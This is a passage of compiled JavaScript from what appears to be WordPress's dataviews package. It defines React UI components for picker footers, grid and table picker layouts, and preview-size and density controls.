5119 const selectionSet = /* @__PURE__ */ new Set([
5120 ...selection,
5121 ...data.map((item) => getItemId(item))
5122 ]);
5123 onChangeSelection(Array.from(selectionSet));
5124 }
5125 },
5126 "aria-label": areAllSelected ? (0, import_i18n22.__)("Deselect all") : (0, import_i18n22.__)("Select all")
5127 }
5128 );
5129 }
5130 function ActionButtons({
5131 actions,
5132 items,
5133 selection
5134 }) {
5135 const registry = (0, import_data5.useRegistry)();
5136 const [actionInProgress, setActionInProgress] = (0, import_element18.useState)(
5137 null
5138 );
5139 return /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(Stack, { direction: "row", gap: "xs", children: actions.map((action) => {
5140 if (!("callback" in action)) {
5141 return null;
5142 }
5143 const { id, label, icon, isPrimary, callback } = action;
5144 const _label = typeof label === "string" ? label : label(items);
5145 const variant = isPrimary ? "primary" : "tertiary";
5146 const isInProgress = id === actionInProgress;
5147 return /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(
5148 import_components14.Button,
5149 {
5150 accessibleWhenDisabled: true,
5151 icon,
5152 disabled: isInProgress || !selection?.length,
5153 isBusy: isInProgress,
5154 onClick: async () => {
5155 setActionInProgress(id);
5156 await callback(items, {
5157 registry
5158 });
5159 setActionInProgress(null);
5160 },
5161 size: "compact",
5162 variant,
5163 children: _label
5164 },
5165 id
5166 );
5167 }) });
5168 }
5169 function DataViewsPickerFooter() {
5170 const {
5171 data,
5172 selection,
5173 onChangeSelection,
5174 getItemId,
5175 actions = EMPTY_ARRAY2,
5176 paginationInfo
5177 } = (0, import_element18.useContext)(dataviews_context_default);
5178 const isMultiselect = useIsMultiselectPicker(actions);
5179 const message2 = getFooterMessage(
5180 selection.length,
5181 data.length,
5182 paginationInfo.totalItems
5183 );
5184 const selectedItems = (0, import_element18.useMemo)(
5185 () => data.filter((item) => selection.includes(getItemId(item))),
5186 [selection, getItemId, data]
5187 );
5188 return /* @__PURE__ */ (0, import_jsx_runtime46.jsxs)(
5189 Stack,
5190 {
5191 direction: "row",
5192 justify: "space-between",
5193 align: "center",
5194 className: "dataviews-footer",
5195 gap: "sm",
5196 children: [
5197 /* @__PURE__ */ (0, import_jsx_runtime46.jsxs)(
5198 Stack,
5199 {
5200 direction: "row",
5201 className: "dataviews-picker-footer__bulk-selection",
5202 gap: "md",
5203 align: "center",
5204 children: [
5205 isMultiselect && /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(
5206 BulkSelectionCheckbox2,
5207 {
5208 selection,
5209 selectedItems,
5210 onChangeSelection,
5211 data,
5212 getItemId
5213 }
5214 ),
5215 /* @__PURE__ */ (0, import_jsx_runtime46.jsx)("span", { className: "dataviews-bulk-actions-footer__item-count", children: message2 })
5216 ]
5217 }
5218 ),
5219 /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(dataviews_pagination_default, {}),
5220 Boolean(actions?.length) && /* @__PURE__ */ (0, import_jsx_runtime46.jsx)("div", { className: "dataviews-picker-footer__actions", children: /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(
5221 ActionButtons,
5222 {
5223 actions,
5224 items: selectedItems,
5225 selection
5226 }
5227 ) })
5228 ]
5229 }
5230 );
5231 }
5232
5233 // packages/dataviews/build-module/components/dataviews-layouts/utils/grid-items.mjs
5234 var import_element19 = __toESM(require_element(), 1);
5235 var import_jsx_runtime47 = __toESM(require_jsx_runtime(), 1);
5236 var GridItems = (0, import_element19.forwardRef)(({ className, previewSize, ...props }, ref) => {
5237 return /* @__PURE__ */ (0, import_jsx_runtime47.jsx)(
5238 "div",
5239 {
5240 ref,
5241 className: clsx_default("dataviews-view-grid-items", className),
5242 style: {
5243 gridTemplateColumns: previewSize && `repeat(auto-fill, minmax(${previewSize}px, 1fr))`
5244 },
5245 ...props
5246 }
5247 );
5248 });
5249
5250 // packages/dataviews/build-module/components/dataviews-layouts/picker-grid/index.mjs
5251 var import_jsx_runtime48 = __toESM(require_jsx_runtime(), 1);
5252 var { Badge: Badge2 } = unlock(import_components15.privateApis);
5253 function GridItem3({
5254 view,
5255 multiselect,
5256 selection,
5257 onChangeSelection,
5258 getItemId,
5259 item,
5260 mediaField,
5261 titleField,
5262 descriptionField: descriptionField2,
5263 regularFields,
5264 badgeFields,
5265 config,
5266 posinset,
5267 setsize
5268 }) {
5269 const { showTitle = true, showMedia = true, showDescription = true } = view;
5270 const id = getItemId(item);
5271 const isSelected2 = selection.includes(id);
5272 const renderedMediaField = mediaField?.render ? /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5273 mediaField.render,
5274 {
5275 item,
5276 field: mediaField,
5277 config
5278 }
5279 ) : null;
5280 const renderedTitleField = showTitle && titleField?.render ? /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(titleField.render, { item, field: titleField }) : null;
5281 return /* @__PURE__ */ (0, import_jsx_runtime48.jsxs)(
5282 import_components15.Composite.Item,
5283 {
5284 "aria-label": titleField ? titleField.getValue({ item }) || (0, import_i18n23.__)("(no title)") : void 0,
5285 render: ({ children, ...props }) => /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(Stack, { direction: "column", children, ...props }),
5286 role: "option",
5287 "aria-posinset": posinset,
5288 "aria-setsize": setsize,
5289 className: clsx_default("dataviews-view-picker-grid__card", {
5290 "is-selected": isSelected2
5291 }),
5292 "aria-selected": isSelected2,
5293 onClick: () => {
5294 if (isSelected2) {
5295 onChangeSelection(
5296 selection.filter((itemId) => id !== itemId)
5297 );
5298 } else {
5299 const newSelection = multiselect ? [...selection, id] : [id];
5300 onChangeSelection(newSelection);
5301 }
5302 },
5303 children: [
5304 showMedia && renderedMediaField && /* @__PURE__ */ (0, import_jsx_runtime48.jsx)("div", { className: "dataviews-view-picker-grid__media", children: renderedMediaField }),
5305 showMedia && renderedMediaField && /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5306 DataViewsSelectionCheckbox,
5307 {
5308 item,
5309 selection,
5310 onChangeSelection,
5311 getItemId,
5312 titleField,
5313 disabled: false,
5314 "aria-hidden": true,
5315 tabIndex: -1
5316 }
5317 ),
5318 showTitle && /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5319 Stack,
5320 {
5321 direction: "row",
5322 justify: "space-between",
5323 className: "dataviews-view-picker-grid__title-actions",
5324 children: /* @__PURE__ */ (0, import_jsx_runtime48.jsx)("div", { className: "dataviews-view-picker-grid__title-field dataviews-title-field", children: renderedTitleField })
5325 }
5326 ),
5327 /* @__PURE__ */ (0, import_jsx_runtime48.jsxs)(Stack, { direction: "column", gap: "xs", children: [
5328 showDescription && descriptionField2?.render && /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5329 descriptionField2.render,
5330 {
5331 item,
5332 field: descriptionField2
5333 }
5334 ),
5335 !!badgeFields?.length && /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5336 Stack,
5337 {
5338 direction: "row",
5339 className: "dataviews-view-picker-grid__badge-fields",
5340 gap: "sm",
5341 wrap: "wrap",
5342 align: "top",
5343 justify: "flex-start",
5344 children: badgeFields.map((field) => {
5345 return /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5346 Badge2,
5347 {
5348 className: "dataviews-view-picker-grid__field-value",
5349 children: /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5350 field.render,
5351 {
5352 item,
5353 field
5354 }
5355 )
5356 },
5357 field.id
5358 );
5359 })
5360 }
5361 ),
5362 !!regularFields?.length && /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5363 Stack,
5364 {
5365 direction: "column",
5366 className: "dataviews-view-picker-grid__fields",
5367 gap: "xs",
5368 children: regularFields.map((field) => {
5369 return /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5370 import_components15.Flex,
5371 {
5372 className: "dataviews-view-picker-grid__field",
5373 gap: 1,
5374 justify: "flex-start",
5375 expanded: true,
5376 style: { height: "auto" },
5377 direction: "row",
5378 children: /* @__PURE__ */ (0, import_jsx_runtime48.jsxs)(import_jsx_runtime48.Fragment, { children: [
5379 /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(import_components15.FlexItem, { className: "dataviews-view-picker-grid__field-name", children: field.header }),
5380 /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5381 import_components15.FlexItem,
5382 {
5383 className: "dataviews-view-picker-grid__field-value",
5384 style: { maxHeight: "none" },
5385 children: /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5386 field.render,
5387 {
5388 item,
5389 field
5390 }
5391 )
5392 }
5393 )
5394 ] })
5395 },
5396 field.id
5397 );
5398 })
5399 }
5400 )
5401 ] })
5402 ]
5403 },
5404 id
5405 );
5406 }
5407 function GridGroup({
5408 groupName,
5409 groupField,
5410 showLabel = true,
5411 children
5412 }) {
5413 const headerId = (0, import_compose7.useInstanceId)(
5414 GridGroup,
5415 "dataviews-view-picker-grid-group__header"
5416 );
5417 return /* @__PURE__ */ (0, import_jsx_runtime48.jsxs)(
5418 Stack,
5419 {
5420 direction: "column",
5421 gap: "sm",
5422 role: "group",
5423 "aria-labelledby": headerId,
5424 children: [
5425 /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5426 "h3",
5427 {
5428 className: "dataviews-view-picker-grid-group__header",
5429 id: headerId,
5430 children: showLabel ? (0, import_i18n23.sprintf)(
5431 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
5432 (0, import_i18n23.__)("%1$s: %2$s"),
5433 groupField.label,
5434 groupName
5435 ) : groupName
5436 }
5437 ),
5438 children
5439 ]
5440 },
5441 groupName
5442 );
5443 }
5444 function ViewPickerGrid({
5445 actions,
5446 data,
5447 fields,
5448 getItemId,
5449 isLoading,
5450 onChangeSelection,
5451 selection,
5452 view,
5453 className,
5454 empty
5455 }) {
5456 const { resizeObserverRef, paginationInfo, itemListLabel } = (0, import_element20.useContext)(dataviews_context_default);
5457 const titleField = fields.find(
5458 (field) => field.id === view?.titleField
5459 );
5460 const mediaField = fields.find(
5461 (field) => field.id === view?.mediaField
5462 );
5463 const descriptionField2 = fields.find(
5464 (field) => field.id === view?.descriptionField
5465 );
5466 const otherFields = view.fields ?? [];
5467 const { regularFields, badgeFields } = otherFields.reduce(
5468 (accumulator, fieldId) => {
5469 const field = fields.find((f2) => f2.id === fieldId);
5470 if (!field) {
5471 return accumulator;
5472 }
5473 const key = view.layout?.badgeFields?.includes(fieldId) ? "badgeFields" : "regularFields";
5474 accumulator[key].push(field);
5475 return accumulator;
5476 },
5477 { regularFields: [], badgeFields: [] }
5478 );
5479 const hasData = !!data?.length;
5480 const usedPreviewSize = view.layout?.previewSize;
5481 const isMultiselect = useIsMultiselectPicker(actions);
5482 const size = "900px";
5483 const groupField = view.groupBy?.field ? fields.find((f2) => f2.id === view.groupBy?.field) : null;
5484 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
5485 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
5486 const currentPage = view?.page ?? 1;
5487 const perPage = view?.perPage ?? 0;
5488 const setSize = isInfiniteScroll ? paginationInfo?.totalItems : void 0;
5489 return /* @__PURE__ */ (0, import_jsx_runtime48.jsxs)(import_jsx_runtime48.Fragment, {
5490 // Render multiple groups.
5491 children: [
5492 hasData && groupField && dataByGroup && /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5493 import_components15.Composite,
5494 {
5495 virtualFocus: true,
5496 orientation: "horizontal",
5497 role: "listbox",
5498 "aria-multiselectable": isMultiselect,
5499 className: clsx_default(
5500 "dataviews-view-picker-grid",
5501 className
5502 ),
5503 "aria-label": itemListLabel,
5504 render: ({ children, ...props }) => /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5505 Stack,
5506 {
5507 direction: "column",
5508 gap: "lg",
5509 children,
5510 ...props
5511 }
5512 ),
5513 children: Array.from(dataByGroup.entries()).map(
5514 ([groupName, groupItems]) => /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5515 GridGroup,
5516 {
5517 groupName,
5518 groupField,
5519 showLabel: view.groupBy?.showLabel !== false,
5520 children: /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5521 GridItems,
5522 {
5523 previewSize: usedPreviewSize,
5524 style: {
5525 gridTemplateColumns: usedPreviewSize && `repeat(auto-fill, minmax(${usedPreviewSize}px, 1fr))`
5526 },
5527 "aria-busy": isLoading,
5528 ref: resizeObserverRef,
5529 children: groupItems.map((item) => {
5530 const posInSet = (currentPage - 1) * perPage + data.indexOf(item) + 1;
5531 return /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5532 GridItem3,
5533 {
5534 view,
5535 multiselect: isMultiselect,
5536 selection,
5537 onChangeSelection,
5538 getItemId,
5539 item,
5540 mediaField,
5541 titleField,
5542 descriptionField: descriptionField2,
5543 regularFields,
5544 badgeFields,
5545 config: {
5546 sizes: size
5547 },
5548 posinset: posInSet,
5549 setsize: setSize
5550 },
5551 getItemId(item)
5552 );
5553 })
5554 }
5555 )
5556 },
5557 groupName
5558 )
5559 )
5560 }
5561 ),
5562 // Render a single grid with all data.
5563 hasData && !dataByGroup && /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5564 import_components15.Composite,
5565 {
5566 render: /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5567 GridItems,
5568 {
5569 className: clsx_default(
5570 "dataviews-view-picker-grid",
5571 className
5572 ),
5573 previewSize: usedPreviewSize,
5574 "aria-busy": isLoading,
5575 ref: resizeObserverRef
5576 }
5577 ),
5578 virtualFocus: true,
5579 orientation: "horizontal",
5580 role: "listbox",
5581 "aria-multiselectable": isMultiselect,
5582 "aria-label": itemListLabel,
5583 children: data.map((item, index) => {
5584 let posinset = isInfiniteScroll ? index + 1 : void 0;
5585 if (!isInfiniteScroll) {
5586 posinset = (currentPage - 1) * perPage + index + 1;
5587 }
5588 return /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5589 GridItem3,
5590 {
5591 view,
5592 multiselect: isMultiselect,
5593 selection,
5594 onChangeSelection,
5595 getItemId,
5596 item,
5597 mediaField,
5598 titleField,
5599 descriptionField: descriptionField2,
5600 regularFields,
5601 badgeFields,
5602 config: {
5603 sizes: size
5604 },
5605 posinset,
5606 setsize: setSize
5607 },
5608 getItemId(item)
5609 );
5610 })
5611 }
5612 ),
5613 // Render empty state.
5614 !hasData && /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(
5615 "div",
5616 {
5617 className: clsx_default({
5618 "dataviews-loading": isLoading,
5619 "dataviews-no-results": !isLoading
5620 }),
5621 children: isLoading ? /* @__PURE__ */ (0, import_jsx_runtime48.jsx)("p", { children: /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(import_components15.Spinner, {}) }) : empty
5622 }
5623 ),
5624 hasData && isLoading && /* @__PURE__ */ (0, import_jsx_runtime48.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(import_components15.Spinner, {}) })
5625 ]
5626 });
5627 }
5628 var picker_grid_default = ViewPickerGrid;
5629
5630 // packages/dataviews/build-module/components/dataviews-layouts/picker-table/index.mjs
5631 var import_i18n24 = __toESM(require_i18n(), 1);
5632 var import_components16 = __toESM(require_components(), 1);
5633 var import_element21 = __toESM(require_element(), 1);
5634 var import_jsx_runtime49 = __toESM(require_jsx_runtime(), 1);
5635 function TableColumnField2({
5636 item,
5637 fields,
5638 column,
5639 align
5640 }) {
5641 const field = fields.find((f2) => f2.id === column);
5642 if (!field) {
5643 return null;
5644 }
5645 const className = clsx_default("dataviews-view-table__cell-content-wrapper", {
5646 "dataviews-view-table__cell-align-end": align === "end",
5647 "dataviews-view-table__cell-align-center": align === "center"
5648 });
5649 return /* @__PURE__ */ (0, import_jsx_runtime49.jsx)("div", { className, children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(field.render, { item, field }) });
5650 }
5651 function TableRow2({
5652 item,
5653 fields,
5654 id,
5655 view,
5656 titleField,
5657 mediaField,
5658 descriptionField: descriptionField2,
5659 selection,
5660 getItemId,
5661 onChangeSelection,
5662 multiselect,
5663 posinset
5664 }) {
5665 const { paginationInfo } = (0, import_element21.useContext)(dataviews_context_default);
5666 const isSelected2 = selection.includes(id);
5667 const [isHovered, setIsHovered] = (0, import_element21.useState)(false);
5668 const {
5669 showTitle = true,
5670 showMedia = true,
5671 showDescription = true,
5672 infiniteScrollEnabled
5673 } = view;
5674 const handleMouseEnter = () => {
5675 setIsHovered(true);
5676 };
5677 const handleMouseLeave = () => {
5678 setIsHovered(false);
5679 };
5680 const columns = view.fields ?? [];
5681 const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField2 && showDescription;
5682 return /* @__PURE__ */ (0, import_jsx_runtime49.jsxs)(
5683 import_components16.Composite.Item,
5684 {
5685 render: ({ children, ...props }) => /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5686 "tr",
5687 {
5688 className: clsx_default("dataviews-view-table__row", {
5689 "is-selected": isSelected2,
5690 "is-hovered": isHovered
5691 }),
5692 onMouseEnter: handleMouseEnter,
5693 onMouseLeave: handleMouseLeave,
5694 children,
5695 ...props
5696 }
5697 ),
5698 "aria-selected": isSelected2,
5699 "aria-setsize": paginationInfo.totalItems || void 0,
5700 "aria-posinset": posinset,
5701 role: infiniteScrollEnabled ? "article" : "option",
5702 onClick: () => {
5703 if (isSelected2) {
5704 onChangeSelection(
5705 selection.filter((itemId) => id !== itemId)
5706 );
5707 } else {
5708 const newSelection = multiselect ? [...selection, id] : [id];
5709 onChangeSelection(newSelection);
5710 }
5711 },
5712 children: [
5713 /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5714 "td",
5715 {
5716 className: "dataviews-view-table__checkbox-column",
5717 role: "presentation",
5718 children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)("div", { className: "dataviews-view-table__cell-content-wrapper", children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5719 DataViewsSelectionCheckbox,
5720 {
5721 item,
5722 selection,
5723 onChangeSelection,
5724 getItemId,
5725 titleField,
5726 disabled: false,
5727 "aria-hidden": true,
5728 tabIndex: -1
5729 }
5730 ) })
5731 }
5732 ),
5733 hasPrimaryColumn && /* @__PURE__ */ (0, import_jsx_runtime49.jsx)("td", { role: "presentation", children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5734 column_primary_default,
5735 {
5736 item,
5737 titleField: showTitle ? titleField : void 0,
5738 mediaField: showMedia ? mediaField : void 0,
5739 descriptionField: showDescription ? descriptionField2 : void 0,
5740 isItemClickable: () => false
5741 }
5742 ) }),
5743 columns.map((column) => {
5744 const { width, maxWidth, minWidth, align } = view.layout?.styles?.[column] ?? {};
5745 return /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5746 "td",
5747 {
5748 style: {
5749 width,
5750 maxWidth,
5751 minWidth
5752 },
5753 role: "presentation",
5754 children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5755 TableColumnField2,
5756 {
5757 fields,
5758 item,
5759 column,
5760 align
5761 }
5762 )
5763 },
5764 column
5765 );
5766 })
5767 ]
5768 },
5769 id
5770 );
5771 }
5772 function ViewPickerTable({
5773 actions,
5774 data,
5775 fields,
5776 getItemId,
5777 isLoading = false,
5778 onChangeView,
5779 onChangeSelection,
5780 selection,
5781 setOpenedFilter,
5782 view,
5783 className,
5784 empty
5785 }) {
5786 const headerMenuRefs = (0, import_element21.useRef)(/* @__PURE__ */ new Map());
5787 const headerMenuToFocusRef = (0, import_element21.useRef)(void 0);
5788 const [nextHeaderMenuToFocus, setNextHeaderMenuToFocus] = (0, import_element21.useState)();
5789 const isMultiselect = useIsMultiselectPicker(actions) ?? false;
5790 (0, import_element21.useEffect)(() => {
5791 if (headerMenuToFocusRef.current) {
5792 headerMenuToFocusRef.current.focus();
5793 headerMenuToFocusRef.current = void 0;
5794 }
5795 });
5796 const tableNoticeId = (0, import_element21.useId)();
5797 if (nextHeaderMenuToFocus) {
5798 headerMenuToFocusRef.current = nextHeaderMenuToFocus;
5799 setNextHeaderMenuToFocus(void 0);
5800 return;
5801 }
5802 const onHide = (field) => {
5803 const hidden = headerMenuRefs.current.get(field.id);
5804 const fallback = hidden ? headerMenuRefs.current.get(hidden.fallback) : void 0;
5805 setNextHeaderMenuToFocus(fallback?.node);
5806 };
5807 const hasData = !!data?.length;
5808 const titleField = fields.find((field) => field.id === view.titleField);
5809 const mediaField = fields.find((field) => field.id === view.mediaField);
5810 const descriptionField2 = fields.find(
5811 (field) => field.id === view.descriptionField
5812 );
5813 const groupField = view.groupBy?.field ? fields.find((f2) => f2.id === view.groupBy?.field) : null;
5814 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
5815 const { showTitle = true, showMedia = true, showDescription = true } = view;
5816 const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField2 && showDescription;
5817 const columns = view.fields ?? [];
5818 const headerMenuRef = (column, index) => (node) => {
5819 if (node) {
5820 headerMenuRefs.current.set(column, {
5821 node,
5822 fallback: columns[index > 0 ? index - 1 : 1]
5823 });
5824 } else {
5825 headerMenuRefs.current.delete(column);
5826 }
5827 };
5828 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
5829 return /* @__PURE__ */ (0, import_jsx_runtime49.jsxs)(import_jsx_runtime49.Fragment, { children: [
5830 /* @__PURE__ */ (0, import_jsx_runtime49.jsxs)(
5831 "table",
5832 {
5833 className: clsx_default(
5834 "dataviews-view-table",
5835 "dataviews-view-picker-table",
5836 className,
5837 {
5838 [`has-${view.layout?.density}-density`]: view.layout?.density && ["compact", "comfortable"].includes(
5839 view.layout.density
5840 )
5841 }
5842 ),
5843 "aria-busy": isLoading,
5844 "aria-describedby": tableNoticeId,
5845 role: isInfiniteScroll ? "feed" : "listbox",
5846 children: [
5847 /* @__PURE__ */ (0, import_jsx_runtime49.jsx)("thead", { role: "presentation", children: /* @__PURE__ */ (0, import_jsx_runtime49.jsxs)(
5848 "tr",
5849 {
5850 className: "dataviews-view-table__row",
5851 role: "presentation",
5852 children: [
5853 /* @__PURE__ */ (0, import_jsx_runtime49.jsx)("th", { className: "dataviews-view-table__checkbox-column", children: isMultiselect && /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5854 BulkSelectionCheckbox,
5855 {
5856 selection,
5857 onChangeSelection,
5858 data,
5859 actions,
5860 getItemId
5861 }
5862 ) }),
5863 hasPrimaryColumn && /* @__PURE__ */ (0, import_jsx_runtime49.jsx)("th", { children: titleField && /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5864 column_header_menu_default,
5865 {
5866 ref: headerMenuRef(
5867 titleField.id,
5868 0
5869 ),
5870 fieldId: titleField.id,
5871 view,
5872 fields,
5873 onChangeView,
5874 onHide,
5875 setOpenedFilter,
5876 canMove: false
5877 }
5878 ) }),
5879 columns.map((column, index) => {
5880 const { width, maxWidth, minWidth, align } = view.layout?.styles?.[column] ?? {};
5881 return /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5882 "th",
5883 {
5884 style: {
5885 width,
5886 maxWidth,
5887 minWidth,
5888 textAlign: align
5889 },
5890 "aria-sort": view.sort?.direction && view.sort?.field === column ? sortValues[view.sort.direction] : void 0,
5891 scope: "col",
5892 children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5893 column_header_menu_default,
5894 {
5895 ref: headerMenuRef(column, index),
5896 fieldId: column,
5897 view,
5898 fields,
5899 onChangeView,
5900 onHide,
5901 setOpenedFilter,
5902 canMove: view.layout?.enableMoving ?? true
5903 }
5904 )
5905 },
5906 column
5907 );
5908 })
5909 ]
5910 }
5911 ) }),
5912 hasData && groupField && dataByGroup ? Array.from(dataByGroup.entries()).map(
5913 ([groupName, groupItems]) => /* @__PURE__ */ (0, import_jsx_runtime49.jsxs)(
5914 import_components16.Composite,
5915 {
5916 virtualFocus: true,
5917 orientation: "vertical",
5918 render: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)("tbody", { role: "group" }),
5919 children: [
5920 /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5921 "tr",
5922 {
5923 className: "dataviews-view-table__group-header-row",
5924 role: "presentation",
5925 children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5926 "td",
5927 {
5928 colSpan: columns.length + (hasPrimaryColumn ? 1 : 0) + 1,
5929 className: "dataviews-view-table__group-header-cell",
5930 role: "presentation",
5931 children: view.groupBy?.showLabel === false ? groupName : (0, import_i18n24.sprintf)(
5932 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
5933 (0, import_i18n24.__)("%1$s: %2$s"),
5934 groupField.label,
5935 groupName
5936 )
5937 }
5938 )
5939 }
5940 ),
5941 groupItems.map((item, index) => /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5942 TableRow2,
5943 {
5944 item,
5945 fields,
5946 id: getItemId(item) || index.toString(),
5947 view,
5948 titleField,
5949 mediaField,
5950 descriptionField: descriptionField2,
5951 selection,
5952 getItemId,
5953 onChangeSelection,
5954 multiselect: isMultiselect
5955 },
5956 getItemId(item)
5957 ))
5958 ]
5959 },
5960 `group-${groupName}`
5961 )
5962 ) : /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5963 import_components16.Composite,
5964 {
5965 render: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)("tbody", { role: "presentation" }),
5966 virtualFocus: true,
5967 orientation: "vertical",
5968 children: hasData && data.map((item, index) => /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(
5969 TableRow2,
5970 {
5971 item,
5972 fields,
5973 id: getItemId(item) || index.toString(),
5974 view,
5975 titleField,
5976 mediaField,
5977 descriptionField: descriptionField2,
5978 selection,
5979 getItemId,
5980 onChangeSelection,
5981 multiselect: isMultiselect,
5982 posinset: index + 1
5983 },
5984 getItemId(item)
5985 ))
5986 }
5987 )
5988 ]
5989 }
5990 ),
5991 /* @__PURE__ */ (0, import_jsx_runtime49.jsxs)(
5992 "div",
5993 {
5994 className: clsx_default({
5995 "dataviews-loading": isLoading,
5996 "dataviews-no-results": !hasData && !isLoading
5997 }),
5998 id: tableNoticeId,
5999 children: [
6000 !hasData && (isLoading ? /* @__PURE__ */ (0, import_jsx_runtime49.jsx)("p", { children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(import_components16.Spinner, {}) }) : empty),
6001 hasData && isLoading && /* @__PURE__ */ (0, import_jsx_runtime49.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(import_components16.Spinner, {}) })
6002 ]
6003 }
6004 )
6005 ] });
6006 }
6007 var picker_table_default = ViewPickerTable;
6008
6009 // packages/dataviews/build-module/components/dataviews-layouts/utils/preview-size-picker.mjs
6010 var import_components17 = __toESM(require_components(), 1);
6011 var import_i18n25 = __toESM(require_i18n(), 1);
6012 var import_element22 = __toESM(require_element(), 1);
6013 var import_jsx_runtime50 = __toESM(require_jsx_runtime(), 1);
6014 var imageSizes2 = [
6015 {
6016 value: 120,
6017 breakpoint: 1
6018 },
6019 {
6020 value: 170,
6021 breakpoint: 1
6022 },
6023 {
6024 value: 230,
6025 breakpoint: 1
6026 },
6027 {
6028 value: 290,
6029 breakpoint: 1112
6030 // at minimum image width, 4 images display at this container size
6031 },
6032 {
6033 value: 350,
6034 breakpoint: 1636
6035 // at minimum image width, 6 images display at this container size
6036 },
6037 {
6038 value: 430,
6039 breakpoint: 588
6040 // at minimum image width, 2 images display at this container size
6041 }
6042 ];
6043 function PreviewSizePicker() {
6044 const context = (0, import_element22.useContext)(dataviews_context_default);
6045 const view = context.view;
6046 const breakValues = imageSizes2.filter((size) => {
6047 return context.containerWidth >= size.breakpoint;
6048 });
6049 const layoutPreviewSize = view.layout?.previewSize ?? 230;
6050 const previewSizeToUse = breakValues.map((size, index) => ({ ...size, index })).filter((size) => size.value <= layoutPreviewSize).sort((a2, b2) => b2.value - a2.value)[0]?.index ?? 0;
6051 const marks = breakValues.map((size, index) => {
6052 return {
6053 value: index
6054 };
6055 });
6056 return /* @__PURE__ */ (0, import_jsx_runtime50.jsx)(
6057 import_components17.RangeControl,
6058 {
6059 __next40pxDefaultSize: true,
6060 showTooltip: false,
6061 label: (0, import_i18n25.__)("Preview size"),
6062 value: previewSizeToUse,
6063 min: 0,
6064 max: breakValues.length - 1,
6065 withInputField: false,
6066 onChange: (value = 0) => {
6067 context.onChangeView({
6068 ...view,
6069 layout: {
6070 ...view.layout,
6071 previewSize: breakValues[value].value
6072 }
6073 });
6074 },
6075 step: 1,
6076 marks
6077 }
6078 );
6079 }
6080
6081 // packages/dataviews/build-module/components/dataviews-layouts/utils/density-picker.mjs
6082 var import_components18 = __toESM(require_components(), 1);
6083 var import_i18n26 = __toESM(require_i18n(), 1);
6084 var import_element23 = __toESM(require_element(), 1);
6085 var import_jsx_runtime51 = __toESM(require_jsx_runtime(), 1);
6086 function DensityPicker() {
6087 const context = (0, import_element23.useContext)(dataviews_context_default);
6088 const view = context.view;
6089 return /* @__PURE__ */ (0, import_jsx_runtime51.jsxs)(
6090 import_components18.__experimentalToggleGroupControl,
6091 {
6092 size: "__unstable-large",
6093 label: (0, import_i18n26.__)("Density"),
6094 value: view.layout?.density || "balanced",
6095 onChange: (value) => {
6096 context.onChangeView({
6097 ...view,
6098 layout: {
6099 ...view.layout,
6100 density: value
6101 }
6102 });
6103 },
6104 isBlock: true,
6105 children: [
6106 /* @__PURE__ */ (0, import_jsx_runtime51.jsx)(
6107 import_components18.__experimentalToggleGroupControlOption,
6108 {
6109 value: "comfortable",
6110 label: (0, import_i18n26._x)(
6111 "Comfortable",
6112 "Density option for DataView layout"
6113 )
6114 },
6115 "comfortable"
6116 ),
